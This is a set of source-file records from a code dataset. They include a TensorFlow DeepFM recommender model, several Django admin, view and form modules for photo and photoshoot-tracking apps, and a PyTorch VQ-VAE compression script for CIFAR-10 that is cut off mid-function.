# None * layer[i] * 1\n self.y_deep = self.deep_layers_activation(self.y_deep)\n self.y_deep = tf.nn.dropout(self.y_deep, self.dropout_keep_deep[1 + i]) # dropout at each Deep layer\n\n with tf.name_scope(\"deep_fm\"):\n # ---------- DeepFM ----------\n if self.use_fm and self.use_deep:\n concat_input = tf.concat([self.y_first_order, self.y_second_order, self.y_deep], axis=1)\n elif self.use_fm:\n concat_input = tf.concat([self.y_first_order, self.y_second_order], axis=1)\n elif self.use_deep:\n concat_input = self.y_deep\n\n with tf.name_scope(\"output\"):\n self.out = tf.add(tf.matmul(concat_input, self.weights[\"concat_projection\"]), self.weights[\"concat_bias\"])\n if self.loss_type == \"logloss\":\n self.out = tf.nn.sigmoid(self.out)\n\n with tf.name_scope(\"accuracy\"):\n if self.loss_type == \"logloss\":\n predictions = tf.round(self.out)\n correct_predictions = tf.equal(predictions, self.label)\n self.accuracy = tf.reduce_mean(tf.cast(correct_predictions, \"float\"), name=\"accuracy\")\n else:\n self.accuracy = tf.reduce_mean(tf.subtract(self.label, self.out))\n\n with tf.name_scope(\"loss\"):\n # loss\n if self.loss_type == \"logloss\":\n self.loss = tf.losses.log_loss(self.label, self.out)\n elif self.loss_type == \"mse\":\n self.loss = tf.nn.l2_loss(tf.subtract(self.label, self.out))\n # l2 regularization on weights\n if self.l2_reg > 0:\n self.loss += tf.contrib.layers.l2_regularizer(\n self.l2_reg)(self.weights[\"concat_projection\"])\n if self.use_deep:\n for i in range(len(self.deep_layers)):\n self.loss += tf.contrib.layers.l2_regularizer(\n self.l2_reg)(self.weights[\"layer_%d\" % i])\n\n # global step counter\n self.global_step = tf.Variable(0, name=\"global_step\", trainable=False)\n # optimizer\n # 注意,这里保存一些中间训练情况到checkpoint,就不使用Optimizer(...).minimize(self.loss)\n if self.optimizer_type == \"adam\":\n train_op = tf.train.AdamOptimizer(\n learning_rate=self.learning_rate, beta1=0.9, beta2=0.999, epsilon=1e-8)\n elif self.optimizer_type == \"adagrad\":\n train_op = tf.train.AdagradOptimizer(\n learning_rate=self.learning_rate, initial_accumulator_value=1e-8)\n elif self.optimizer_type == \"gd\":\n train_op = tf.train.GradientDescentOptimizer(learning_rate=self.learning_rate)\n elif self.optimizer_type == \"momentum\":\n train_op = tf.train.MomentumOptimizer(learning_rate=self.learning_rate, momentum=0.95)\n # elif self.optimizer_type == \"yellowfin\":\n # train_op = YFOptimizer(learning_rate=self.learning_rate, momentum=0.0).minimize(\n # self.loss)\n self.grads_and_vars = train_op.compute_gradients(self.loss)\n self.optimizer = train_op.apply_gradients(self.grads_and_vars, global_step=self.global_step)\n\n # init\n self._start_summary()\n init = tf.global_variables_initializer()\n self.sess = self._init_session()\n self.sess.run(init)\n\n # number of params\n total_parameters = 0\n for variable in self.weights.values():\n shape = variable.get_shape()\n variable_parameters = 1\n for dim in shape:\n variable_parameters *= dim.value\n total_parameters += variable_parameters\n if self.verbose > 0:\n print(\"#params: %d\" % total_parameters)\n\n def _init_session(self):\n config = tf.ConfigProto(device_count={\"gpu\": 0})\n config.gpu_options.allow_growth = True\n return tf.Session(config=config)\n\n def _initialize_weights(self):\n weights = dict()\n\n # embeddings\n weights[\"feature_embeddings\"] = tf.Variable(\n tf.random_normal([self.feature_size, self.embedding_size], 0.0, 0.01),\n name=\"feature_embeddings\") # feature_size * K\n weights[\"feature_bias\"] = tf.Variable(\n tf.random_uniform([self.feature_size, 1], 0.0, 1.0), name=\"feature_bias\") # feature_size * 1\n\n # deep layers\n num_layer = len(self.deep_layers)\n input_size = self.field_size * self.embedding_size\n glorot = np.sqrt(2.0 / (input_size + self.deep_layers[0]))\n weights[\"layer_0\"] = tf.Variable(\n np.random.normal(loc=0, scale=glorot, size=(input_size, self.deep_layers[0])), dtype=np.float32)\n weights[\"bias_0\"] = tf.Variable(np.random.normal(loc=0, scale=glorot, size=(1, self.deep_layers[0])),\n dtype=np.float32) # 1 * layers[0]\n for i in range(1, num_layer):\n glorot = np.sqrt(2.0 / (self.deep_layers[i - 1] + self.deep_layers[i]))\n weights[\"layer_%d\" % i] = tf.Variable(\n np.random.normal(loc=0, scale=glorot, size=(self.deep_layers[i - 1], self.deep_layers[i])),\n dtype=np.float32) # layers[i-1] * layers[i]\n weights[\"bias_%d\" % i] = tf.Variable(\n np.random.normal(loc=0, scale=glorot, size=(1, self.deep_layers[i])),\n dtype=np.float32) # 1 * layer[i]\n\n # final concat projection layer\n if self.use_fm and self.use_deep:\n input_size = self.field_size + self.embedding_size + self.deep_layers[-1]\n elif self.use_fm:\n input_size = self.field_size + self.embedding_size\n elif self.use_deep:\n input_size = self.deep_layers[-1]\n glorot = np.sqrt(2.0 / (input_size + 1))\n weights[\"concat_projection\"] = tf.Variable(\n np.random.normal(loc=0, scale=glorot, size=(input_size, 1)),\n dtype=np.float32) # layers[i-1]*layers[i]\n weights[\"concat_bias\"] = tf.Variable(tf.constant(0.01), dtype=np.float32)\n\n return weights\n\n def _start_summary(self):\n # Keep track of gradient values and sparsity (optional)\n grad_summaries = []\n for g, v in self.grads_and_vars:\n if g is not None:\n grad_hist_summary = tf.summary.histogram(\"{}/grad/hist\".format(v.name), g)\n sparsity_summary = tf.summary.scalar(\"{}/grad/sparsity\".format(v.name), tf.nn.zero_fraction(g))\n grad_summaries.append(grad_hist_summary)\n grad_summaries.append(sparsity_summary)\n grad_summaries_merged = tf.summary.merge(grad_summaries)\n\n # Output directory for models and summaries\n # timestamp = str(int(time()))\n # out_dir = os.path.abspath(os.path.join(self.model_dir, \"runs\", timestamp))\n out_dir = self.model_dir\n print(\"Writing all tensorflow training files to {}\\n\".format(out_dir))\n\n # Summaries for loss and accuracy\n loss_summary = tf.summary.scalar(\"loss\", self.loss)\n accuracy = tf.summary.scalar(\"accuracy\", self.accuracy)\n\n # Train Summaries\n self.train_summary_op = tf.summary.merge([loss_summary, accuracy, grad_summaries_merged])\n train_summary_dir = os.path.join(out_dir, \"summaries\", \"train\")\n self.train_summary_writer = tf.summary.FileWriter(train_summary_dir, self.graph)\n\n # Dev summaries\n self.dev_summary_op = tf.summary.merge([loss_summary, accuracy])\n dev_summary_dir = os.path.join(out_dir, \"summaries\", \"dev\")\n self.dev_summary_writer = tf.summary.FileWriter(dev_summary_dir, self.graph)\n\n # Checkpoint directory. Tensorflow assumes this directory already exists so we need to create it\n checkpoint_dir = os.path.abspath(os.path.join(out_dir, \"checkpoints\"))\n self.checkpoint_prefix = os.path.join(checkpoint_dir, \"model\")\n if not os.path.exists(checkpoint_dir):\n os.makedirs(checkpoint_dir)\n self.saver = tf.train.Saver(tf.global_variables(), max_to_keep=self.num_checkpoints)\n\n def batch_norm_layer(self, x, train_phase, scope_bn):\n bn_train = batch_norm(x, decay=self.batch_norm_decay, center=True, scale=True, updates_collections=None,\n is_training=True, reuse=None, trainable=True, scope=scope_bn)\n bn_inference = batch_norm(x, decay=self.batch_norm_decay, center=True, scale=True, updates_collections=None,\n is_training=False, reuse=True, trainable=True, scope=scope_bn)\n z = tf.cond(train_phase, lambda: bn_train, lambda: bn_inference)\n return z\n\n def get_batch(self, Xi, Xv, y, batch_size, index):\n start = index * batch_size\n end = (index + 1) * batch_size\n end = end if end < len(y) else len(y)\n return Xi[start:end], Xv[start:end], [[y_] for y_ in y[start:end]]\n\n # shuffle three lists simutaneously\n def shuffle_in_unison_scary(self, a, b, c):\n rng_state = np.random.get_state()\n np.random.shuffle(a)\n np.random.set_state(rng_state)\n np.random.shuffle(b)\n np.random.set_state(rng_state)\n np.random.shuffle(c)\n\n def fit_on_batch(self, Xi, Xv, y, train_phase=True):\n feed_dict = {self.feat_index: Xi,\n self.feat_value: Xv,\n self.label: y,\n self.dropout_keep_fm: self.dropout_fm,\n self.dropout_keep_deep: self.dropout_deep,\n self.train_phase: train_phase}\n if train_phase:\n _, step, summaries, loss, acc = self.sess.run(\n (self.optimizer, self.global_step, self.train_summary_op, self.loss, self.accuracy),\n feed_dict=feed_dict\n )\n self.train_summary_writer.add_summary(summaries, step)\n else:\n _, step, summaries, loss, acc = self.sess.run(\n (self.optimizer, self.global_step, self.dev_summary_op, self.loss, self.accuracy),\n feed_dict=feed_dict\n )\n self.dev_summary_writer.add_summary(summaries, step)\n time_str = datetime.datetime.now().isoformat()\n print(\"{}: step {}, loss {:g}, acc {:g}\".format(time_str, step, loss, acc))\n return step, loss, acc\n\n def fit(self, Xi_train, Xv_train, y_train,\n Xi_valid=None, Xv_valid=None, y_valid=None,\n early_stopping=False, refit=False):\n \"\"\"\n :param Xi_train: [[ind1_1, ind1_2, ...], [ind2_1, ind2_2, ...], ..., [indi_1, indi_2, ..., indi_j, ...], ...]\n indi_j is the feature index of feature field j of sample i in the training set\n :param Xv_train: [[val1_1, val1_2, ...], [val2_1, val2_2, ...], ..., [vali_1, vali_2, ..., vali_j, ...], ...]\n vali_j is the feature value of feature field j of sample i in the training set\n vali_j can be either binary (1/0, for binary/categorical features) or float\n (e.g., 10.24, for numerical features)\n :param y_train: label of each sample in the training set\n :param Xi_valid: list of list of feature indices of each sample in the validation set\n :param Xv_valid: list of list of feature values of each sample in the validation set\n :param y_valid: label of each sample in the validation set\n :param early_stopping: perform early stopping or not\n :param refit: refit the model on the train+valid dataset or not\n :return: None\n \"\"\"\n has_valid = Xv_valid is not None\n for epoch in range(self.epoch):\n t1 = time()\n self.shuffle_in_unison_scary(Xi_train, Xv_train, y_train)\n total_batch = int(len(y_train) / self.batch_size)\n for i in range(total_batch):\n Xi_batch, Xv_batch, y_batch = self.get_batch(Xi_train, Xv_train, y_train, self.batch_size, i)\n step, loss, acc = self.fit_on_batch(Xi_batch, Xv_batch, y_batch)\n\n if step % self.checkpoint_every == 0 or epoch == (self.epoch - 1):\n self.saver.save(self.sess, self.checkpoint_prefix, global_step=step)\n\n # evaluate training and validation datasets\n train_result = self.evaluate(Xi_train, Xv_train, y_train)\n self.train_result.append(train_result)\n if has_valid:\n valid_result = self.evaluate(Xi_valid, Xv_valid, y_valid)\n self.valid_result.append(valid_result)\n if self.verbose > 0 and epoch % self.verbose == 0:\n if has_valid:\n print(\"| %s | [%d] | train-result=%.4f, valid-result=%.4f | time_gap=[%.1f s]\"\n % (self.model_type, epoch + 1, train_result, valid_result, time() - t1))\n else:\n print(\"| %s | [%d] | train-result=%.4f | time_gap=[%.1f s]\"\n % (self.model_type, epoch + 1, train_result, time() - t1))\n\n if has_valid and early_stopping and self.training_termination(self.valid_result):\n self.saver.save(self.sess, self.checkpoint_prefix, global_step=None)\n break\n\n # fit a few more epoch on train+valid until result reaches the best_train_score\n if has_valid and refit:\n if self.greater_is_better:\n best_valid_score = max(self.valid_result)\n else:\n best_valid_score = min(self.valid_result)\n best_epoch = self.valid_result.index(best_valid_score)\n best_train_score = self.train_result[best_epoch]\n Xi_train = Xi_train + Xi_valid\n Xv_train = Xv_train + Xv_valid\n y_train = y_train + y_valid\n for epoch in range(100):\n self.shuffle_in_unison_scary(Xi_train, Xv_train, y_train)\n total_batch = int(len(y_train) / self.batch_size)\n for i in range(total_batch):\n Xi_batch, Xv_batch, y_batch = self.get_batch(\n Xi_train, Xv_train, y_train, self.batch_size, i)\n self.fit_on_batch(Xi_batch, Xv_batch, y_batch)\n # check\n train_result = self.evaluate(Xi_train, Xv_train, y_train)\n if abs(train_result - best_train_score) < 0.001 or \\\n (self.greater_is_better and train_result > best_train_score) or \\\n ((not self.greater_is_better) and train_result < best_train_score):\n self.saver.save(self.sess, self.checkpoint_prefix, global_step=None)\n break\n\n def training_termination(self, valid_result):\n if len(valid_result) > 5:\n if self.greater_is_better:\n if valid_result[-1] < valid_result[-2] < valid_result[-3] < valid_result[-4] < valid_result[-5]:\n return True\n else:\n if valid_result[-1] > valid_result[-2] > valid_result[-3] > valid_result[-4] > valid_result[-5]:\n return True\n return False\n\n def predict(self, Xi, Xv):\n \"\"\"\n :param Xi: list of list of feature indices of each sample in the dataset\n :param Xv: list of list of feature values of each sample in the dataset\n :return: predicted probability of each sample\n \"\"\"\n # dummy y\n dummy_y = [1] * len(Xi)\n batch_index = 0\n Xi_batch, Xv_batch, y_batch = self.get_batch(Xi, Xv, dummy_y, self.batch_size, batch_index)\n y_pred = None\n while len(Xi_batch) > 0:\n num_batch = len(y_batch)\n feed_dict = {self.feat_index: Xi_batch,\n self.feat_value: Xv_batch,\n self.label: y_batch,\n self.dropout_keep_fm: [1.0] * len(self.dropout_fm),\n self.dropout_keep_deep: [1.0] * len(self.dropout_deep),\n self.train_phase: False}\n batch_out = self.sess.run(self.out, feed_dict=feed_dict)\n\n if batch_index == 0:\n y_pred = np.reshape(batch_out, (num_batch,))\n else:\n y_pred = np.concatenate((y_pred, np.reshape(batch_out, (num_batch,))))\n\n batch_index += 1\n Xi_batch, Xv_batch, y_batch = self.get_batch(Xi, Xv, dummy_y, self.batch_size, batch_index)\n\n return y_pred\n\n def evaluate(self, Xi, Xv, y):\n \"\"\"\n :param Xi: list of list of feature indices of each sample in the dataset\n :param Xv: list of list of feature values of each sample in the dataset\n :param y: label of each sample in the dataset\n :return: metric of the evaluation\n \"\"\"\n y_pred = self.predict(Xi, Xv)\n return self.eval_metric(y, y_pred)\n","sub_path":"models/DeepFM.py","file_name":"DeepFM.py","file_ext":"py","file_size_in_byte":23427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"299088999","text":"from django.contrib import admin\nfrom photos.models import Photo, Tag, ReportedComment\nfrom photos.socialApplication import uploadPhoto\n# Register your models here.\n\ndef make_uploaded(modeladmin, request, queryset):\n for p in queryset:\n \tif not p.isReady:\n \t\tuploadPhoto(p)\nmake_uploaded.short_description = \"Uploads photos\"\n\ndef deletePhoto(modeladmin, request, queryset):\n for p in queryset:\n \tp.delete();\ndeletePhoto.short_description = \"Delete photos (customed)\"\n\nclass PhotoAdmin(admin.ModelAdmin):\n\tlist_display = ('id','title','content','tags','admin_thumbnail','isReady');\n\tordering = ['isReady']\n\tactions = [make_uploaded,deletePhoto]\n\nclass TagAdmin(admin.ModelAdmin):\n\tlist_display = ('tag_name','tag_count');\n\n\ndef delete_comment(modeladmin, request, queryset):\n for comment in queryset:\n \tcomment.delete()\ndelete_comment.short_description = \"Delete from Facebook\"\n\nclass ReportedCommentAdmin(admin.ModelAdmin):\n\tlist_display = ('message', 'facebook_post_url', 'report_count')\n\tordering = ['report_count']\n\tactions = [ delete_comment ]\n\nadmin.site.register(Photo, PhotoAdmin)\nadmin.site.register(Tag, TagAdmin)\nadmin.site.register(ReportedComment, ReportedCommentAdmin)\n\n","sub_path":"photos/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"491230261","text":"from django.contrib.messages.views import SuccessMessageMixin\nfrom django.core.urlresolvers import reverse_lazy\nfrom django.views.generic.base import View\nfrom django.views.generic.edit import CreateView, UpdateView\nfrom django.views.generic.list import ListView\nfrom django.utils import timezone\n\nfrom contracts.models import Contract\nfrom .models import PhotoshootAppointment\nfrom .forms import CreateAppointment, PhotoShootComplete\nfrom project_settings.mixins import SendNotificationMixin\nfrom projects.models import ProjectState, Project\nfrom users.mixins import LoginRequiredMixin\nfrom users.models import TrackUser\n\n\nclass PhotoshootContractMixin(object):\n def get_context_data(self, **kwargs):\n context = super(PhotoshootContractMixin, self).get_context_data(**kwargs)\n parent = Contract.objects.get(slug=self.kwargs['contract_slug'])\n context['contract'] = parent\n #Set current time zone to that of the client\n timezone.activate(parent.client.country.timezone)\n return context\n\n def get_initial(self):\n \"\"\"\n Copy description from projects given by sales\n :return:\n \"\"\"\n parent = Contract.objects.get(slug=self.kwargs['contract_slug'])\n projects = parent.project_set.all()\n description = \"\"\n\n for project in projects:\n description += \"%(product)s\\n%(description)s\\n\\n\" % {\n 'product': project.product.name,\n 'description': project.notes,\n }\n\n return {'description': description}\n\n\nclass CreatePhotoshootAppointment(LoginRequiredMixin, SuccessMessageMixin, SendNotificationMixin, PhotoshootContractMixin, CreateView):\n model = PhotoshootAppointment\n form_class = CreateAppointment\n template_name = 'photoshoots/create.html'\n success_message = \"Photoshoot saved\"\n success_url = reverse_lazy(\"photoshoot_list\")\n\n def form_valid(self, form):\n context = self.get_context_data()\n contract = context['contract']\n\n appointment = form.save()\n appointment.contract = contract\n appointment.created_by = self.request.user\n appointment.save()\n\n #Update states\n projects = contract.project_set.all()\n for project in projects:\n state = ProjectState(\n project=project,\n state=\"photographer\",\n user=self.request.user,\n )\n state.save()\n projects.update(current_state=\"photographer\")\n\n #Notifications\n users = []\n for user in TrackUser.objects.filter(groups__name__in=(\"management\",)):\n users.append(user)\n\n #Photographer\n users.append(appointment.photographer)\n\n self.send_notification(\n message=\"%(user)s created a new appointment\" % {'user': self.request.user.get_full_name()},\n users=users,\n )\n\n return super(PhotoshootContractMixin, self).form_valid(form)\n\n\nclass ListPhotoshoots(LoginRequiredMixin, ListView):\n model = PhotoshootAppointment\n template_name = \"photoshoots/list.html\"\n context_object_name = \"shoots\"\n\n def get_queryset(self):\n projects = Project.objects.filter(current_state=\"photographer\")\n return PhotoshootAppointment.objects.filter(contract__in=projects.values('contract'))\n\n\nclass PhotoshootDoneView(LoginRequiredMixin, PhotoshootContractMixin, SendNotificationMixin, SuccessMessageMixin, UpdateView):\n model = PhotoshootAppointment\n form_class = PhotoShootComplete\n template_name = \"photoshoots/done.html\"\n success_url = reverse_lazy(\"photoshoot_list\")\n success_message = \"Shoot successfully sent to production\"\n\n def form_valid(self, form):\n context = self.get_context_data()\n contract = context['contract']\n\n #Shoot is over --> set to inactive\n self.object = form.save()\n self.object.active = False\n self.object.save()\n\n #Update states\n projects = contract.project_set.all()\n for project in projects:\n state = ProjectState(\n project=project,\n state=\"production\",\n user=self.request.user,\n )\n state.save()\n projects.update(current_state=\"production\", notes=self.request.POST['description'])\n\n #Notifications\n users = []\n for user in TrackUser.objects.filter(groups__name__in=(\"management\", \"production\")):\n users.append(user)\n\n self.send_notification(\n message=\"%(user)s uploaded pictures for contract %(contract)d\" % {\n 'user': self.object.photographer,\n 'contract': self.object.contract.contract_number,\n },\n users=users,\n )\n\n return super(PhotoshootDoneView, self).form_valid(form)\n","sub_path":"tracktool/photoshoots/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"143764075","text":"from django import forms\r\nfrom apps.client.models import Usuario\r\n\r\nclass SignUpForm(forms.ModelForm):\r\n senha = forms.CharField(widget=forms.PasswordInput)\r\n\r\n class Meta:\r\n model = Usuario\r\n fields = ['nome_completo', 'email', 'oab', 'telefone']\r\n\r\n def __init__(self,*args, **kwargs):\r\n super(SignUpForm, self).__init__(*args, **kwargs)\r\n\r\n # GENERAL INFO\r\n self.fields['nome_completo'].widget.attrs['class'] = 'form-control'\r\n self.fields['nome_completo'].widget.attrs['placeholder'] = 'Nome Completo'\r\n\r\n self.fields['email'].widget.attrs['class'] = 'form-control'\r\n self.fields['email'].widget.attrs['placeholder'] = 'Email'\r\n\r\n self.fields['oab'].widget.attrs['class'] = 'form-control'\r\n self.fields['oab'].widget.attrs['placeholder'] = 'OAB'\r\n\r\n self.fields['telefone'].widget.attrs['class'] = 'form-control masked-phone'\r\n self.fields['telefone'].widget.attrs['placeholder'] = 'Telefone'\r\n\r\n self.fields['senha'].widget.attrs['class'] = 'form-control'\r\n self.fields['senha'].widget.attrs['placeholder'] = 'Senha'\r\n\r\n\r\nclass ConfirmSmsForm(forms.Form):\r\n sms_code = forms.CharField(min_length=4)\r\n \r\n def __init__(self,*args, **kwargs):\r\n super(ConfirmSmsForm, self).__init__(*args, **kwargs)\r\n\r\n # GENERAL INFO\r\n self.fields['sms_code'].widget.attrs['class'] = 'form-control masked-sms'\r\n self.fields['sms_code'].widget.attrs['placeholder'] = 'Código SMS'\r\n\r\n\r\nclass PhoneForm(forms.Form):\r\n phone = forms.CharField(max_length=20)\r\n \r\n def __init__(self,*args, **kwargs):\r\n super(PhoneForm, self).__init__(*args, **kwargs)\r\n\r\n # GENERAL INFO\r\n self.fields['phone'].widget.attrs['class'] = 'form-control masked-phone'\r\n\r\n\r\nclass ExtraInfoForm(forms.ModelForm):\r\n street = forms.CharField(label='Rua')\r\n number = forms.CharField(label='Número')\r\n city = forms.CharField(label='Cidade')\r\n neighborhood = forms.CharField(label='Bairro')\r\n state = forms.CharField(label='UF', max_length=2)\r\n zip_code = forms.CharField(label='CEP')\r\n latitude = forms.DecimalField(widget=forms.HiddenInput(), required = False)\r\n longitude = forms.DecimalField(widget=forms.HiddenInput(), required = False)\r\n cod_ibge = forms.IntegerField(widget=forms.HiddenInput(), required = False)\r\n\r\n class Meta:\r\n model = Usuario\r\n exclude = ['nome_completo', 'email', 'oab', 'telefone', 'user', 'confirmation_sms', 'sms_date', 'sms_code', 'sms_resends', 'tipo_usuario']\r\n \r\n def __init__(self,*args, **kwargs):\r\n super(ExtraInfoForm, self).__init__(*args, **kwargs)\r\n\r\n # ADDRESS\r\n self.fields['street'].widget.attrs['class'] = 'form-control'\r\n self.fields['street'].widget.attrs['placeholder'] = 'Rua'\r\n\r\n self.fields['state'].widget.attrs['class'] = 'form-control'\r\n self.fields['state'].widget.attrs['placeholder'] = 'UF'\r\n\r\n self.fields['number'].widget.attrs['class'] = 'form-control'\r\n self.fields['number'].widget.attrs['placeholder'] = 'Número'\r\n \r\n self.fields['city'].widget.attrs['class'] = 'form-control'\r\n self.fields['city'].widget.attrs['placeholder'] = 'Cidade'\r\n\r\n self.fields['neighborhood'].widget.attrs['class'] = 'form-control'\r\n self.fields['neighborhood'].widget.attrs['placeholder'] = 'Bairro'\r\n \r\n self.fields['zip_code'].widget.attrs['class'] = 'form-control masked-zipcode'\r\n self.fields['zip_code'].widget.attrs['placeholder'] = 'CEP'","sub_path":"apps/core/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":3577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"621739371","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@author: llcnt\n\"\"\"\n\nimport numpy as np\n\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.utils.data import DataLoader\nimport torch.optim as optim\n\nimport torchvision.datasets as datasets\nimport torchvision.models as models\n\nimport torchvision.transforms as transforms\n\nimport pickle\n\nimport argparse\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"epochs\", default= 1, type=int, help=\"nb of epochs to train on\")\nparser.add_argument(\"insertion_place\", default= 1, type=int, help=\"int where to insert the compression module\")\nparser.add_argument(\"embedding_dim\", default= 64, type=int, help=\"dimension of the latent vae embedding\")\nparser.add_argument(\"num_embeddings\", default= 512, type=int, help=\"nb of embeddings in the codebook\")\nparser.add_argument(\"weight\", default= 1, type=int, help=\"weight for the classification loss\")\nparser.add_argument(\"learning_rate\", default= 5e-2, type=float, help=\"learning rate\")\n\nargs = parser.parse_args()\n\n\n\n#%%\n### Device and datasets\ndevice = torch.device(\"cuda:5\" if torch.cuda.is_available() else \"cpu\")\n\ntraining_data = datasets.CIFAR10(root=\"data\", train=True, download=True,\n transform=transforms.Compose([\n transforms.RandomHorizontalFlip(),\n transforms.RandomCrop(32, 4),\n transforms.ToTensor(),\n transforms.Normalize((0.49139968, 0.48215841, 0.44653091), (0.24703223, 0.24348513, 0.26158784))\n ]))\n\ndata_variance = np.var(training_data.data / 255.0)\n\nvalidation_data = datasets.CIFAR10(root=\"data\", train=False, download=True,\n transform=transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize((0.49139968, 0.48215841, 0.44653091), (0.24703223, 0.24348513, 0.26158784))\n ]))\n\n#%%\n### Compression module\n\nclass VectorQuantizerEMA(nn.Module):\n def __init__(self, num_embeddings, embedding_dim, commitment_cost, decay, epsilon=1e-5):\n super(VectorQuantizerEMA, self).__init__()\n \n self._embedding_dim = embedding_dim\n self._num_embeddings = num_embeddings\n \n self._embedding = nn.Embedding(self._num_embeddings, self._embedding_dim)\n self._embedding.weight.data.normal_()\n self._commitment_cost = commitment_cost\n \n self.register_buffer('_ema_cluster_size', torch.zeros(num_embeddings))\n self._ema_w = nn.Parameter(torch.Tensor(num_embeddings, self._embedding_dim))\n self._ema_w.data.normal_()\n \n self._decay = decay\n self._epsilon = epsilon\n\n def forward(self, inputs):\n # convert inputs from BCHW -> BHWC\n inputs = inputs.permute(0, 2, 3, 1).contiguous()\n input_shape = inputs.shape\n \n # Flatten input\n flat_input = inputs.view(-1, self._embedding_dim)\n \n # Calculate distances\n distances = (torch.sum(flat_input**2, dim=1, keepdim=True) \n + torch.sum(self._embedding.weight**2, dim=1)\n - 2 * torch.matmul(flat_input, self._embedding.weight.t()))\n \n # Encoding\n encoding_indices = torch.argmin(distances, dim=1).unsqueeze(1)\n encodings = torch.zeros(encoding_indices.shape[0], self._num_embeddings, device=inputs.device)\n encodings.scatter_(1, encoding_indices, 1)\n \n # Quantize and unflatten\n quantized = torch.matmul(encodings, self._embedding.weight).view(input_shape)\n \n # Use EMA to update the embedding vectors\n if self.training:\n self._ema_cluster_size = self._ema_cluster_size * self._decay + \\\n (1 - self._decay) * torch.sum(encodings, 0)\n \n # Laplace smoothing of the cluster size\n n = torch.sum(self._ema_cluster_size.data)\n self._ema_cluster_size = (\n (self._ema_cluster_size + self._epsilon)\n / (n + self._num_embeddings * self._epsilon) * n)\n \n dw = torch.matmul(encodings.t(), flat_input)\n self._ema_w = nn.Parameter(self._ema_w * self._decay + (1 - self._decay) * dw)\n \n self._embedding.weight = nn.Parameter(self._ema_w / self._ema_cluster_size.unsqueeze(1))\n \n # Loss\n e_latent_loss = F.mse_loss(quantized.detach(), inputs)\n loss = self._commitment_cost * e_latent_loss\n \n # Straight Through Estimator\n quantized = inputs + (quantized - inputs).detach()\n avg_probs = torch.mean(encodings, dim=0)\n perplexity = torch.exp(-torch.sum(avg_probs * torch.log(avg_probs + 1e-10)))\n \n # convert quantized from BHWC -> BCHW\n return loss, quantized.permute(0, 3, 1, 2).contiguous(), perplexity, encodings\n\n\nclass Residual(nn.Module):\n def __init__(self, in_channels, num_hiddens, num_residual_hiddens):\n super(Residual, self).__init__()\n self._block = nn.Sequential(\n nn.ReLU(True),\n nn.Conv2d(in_channels=in_channels,\n out_channels=num_residual_hiddens,\n kernel_size=3, stride=1, padding=1, bias=False),\n nn.ReLU(True),\n nn.Conv2d(in_channels=num_residual_hiddens,\n out_channels=num_hiddens,\n kernel_size=1, stride=1, bias=False)\n )\n \n def forward(self, x):\n return x + self._block(x)\n\n\nclass ResidualStack(nn.Module):\n def __init__(self, in_channels, num_hiddens, num_residual_layers, num_residual_hiddens):\n super(ResidualStack, self).__init__()\n self._num_residual_layers = num_residual_layers\n self._layers = nn.ModuleList([Residual(in_channels, num_hiddens, num_residual_hiddens)\n for _ in range(self._num_residual_layers)])\n\n def forward(self, x):\n for i in range(self._num_residual_layers):\n x = self._layers[i](x)\n return F.relu(x)\n \n \nclass Encoder(nn.Module):\n def __init__(self, in_channels, num_hiddens, num_residual_layers, num_residual_hiddens):\n super(Encoder, self).__init__()\n\n self._conv_1 = nn.Conv2d(in_channels=in_channels,\n out_channels=num_hiddens//2,\n kernel_size=3,\n stride=1, padding=1)\n self._conv_2 = nn.Conv2d(in_channels=num_hiddens//2,\n out_channels=num_hiddens,\n kernel_size=3,\n stride=1, padding=1)\n self._conv_3 = nn.Conv2d(in_channels=num_hiddens,\n out_channels=num_hiddens,\n kernel_size=3,\n stride=1, padding=1)\n self._residual_stack = ResidualStack(in_channels=num_hiddens,\n num_hiddens=num_hiddens,\n num_residual_layers=num_residual_layers,\n num_residual_hiddens=num_residual_hiddens)\n\n def forward(self, inputs):\n x = self._conv_1(inputs)\n x = F.relu(x)\n \n x = self._conv_2(x)\n x = F.relu(x)\n \n x = self._conv_3(x)\n return self._residual_stack(x)\n \nclass Decoder(nn.Module):\n def __init__(self, out_channels, in_channels, num_hiddens, num_residual_layers, num_residual_hiddens):\n super(Decoder, self).__init__()\n \n self._conv_1 = nn.Conv2d(in_channels=in_channels,\n out_channels=num_hiddens,\n kernel_size=3, \n stride=1, padding=1)\n \n self._residual_stack = ResidualStack(in_channels=num_hiddens,\n num_hiddens=num_hiddens,\n num_residual_layers=num_residual_layers,\n num_residual_hiddens=num_residual_hiddens)\n \n self._conv_trans_1 = nn.ConvTranspose2d(in_channels=num_hiddens, \n out_channels=num_hiddens//2,\n kernel_size=3, \n stride=1, padding=1)\n \n self._conv_trans_2 = nn.ConvTranspose2d(in_channels=num_hiddens//2, \n out_channels=out_channels,\n kernel_size=3, \n stride=1, padding=1)\n\n def forward(self, inputs):\n x = self._conv_1(inputs)\n \n x = self._residual_stack(x)\n \n x = self._conv_trans_1(x)\n x = F.relu(x)\n \n return self._conv_trans_2(x)\n \n#%%\n### Compression model\n\nclass compression_model(nn.Module):\n def __init__(self, input_encoder_channels, num_hiddens, num_residual_layers, num_residual_hiddens, \n num_embeddings, embedding_dim, commitment_cost, decay=0):\n super(compression_model, self).__init__()\n \n self._encoder = Encoder(input_encoder_channels, num_hiddens,\n num_residual_layers, \n num_residual_hiddens)\n self._pre_vq_conv = nn.Conv2d(in_channels=num_hiddens, \n out_channels=embedding_dim,\n kernel_size=1, \n stride=1)\n self._vq_vae = VectorQuantizerEMA(num_embeddings, embedding_dim, \n commitment_cost, decay)\n\n self._decoder = Decoder(input_encoder_channels, embedding_dim,\n num_hiddens, \n num_residual_layers, \n num_residual_hiddens)\n\n def forward(self, x):\n z = self._encoder(x)\n z = self._pre_vq_conv(z)\n loss, quantized, perplexity, encodings = self._vq_vae(z)\n 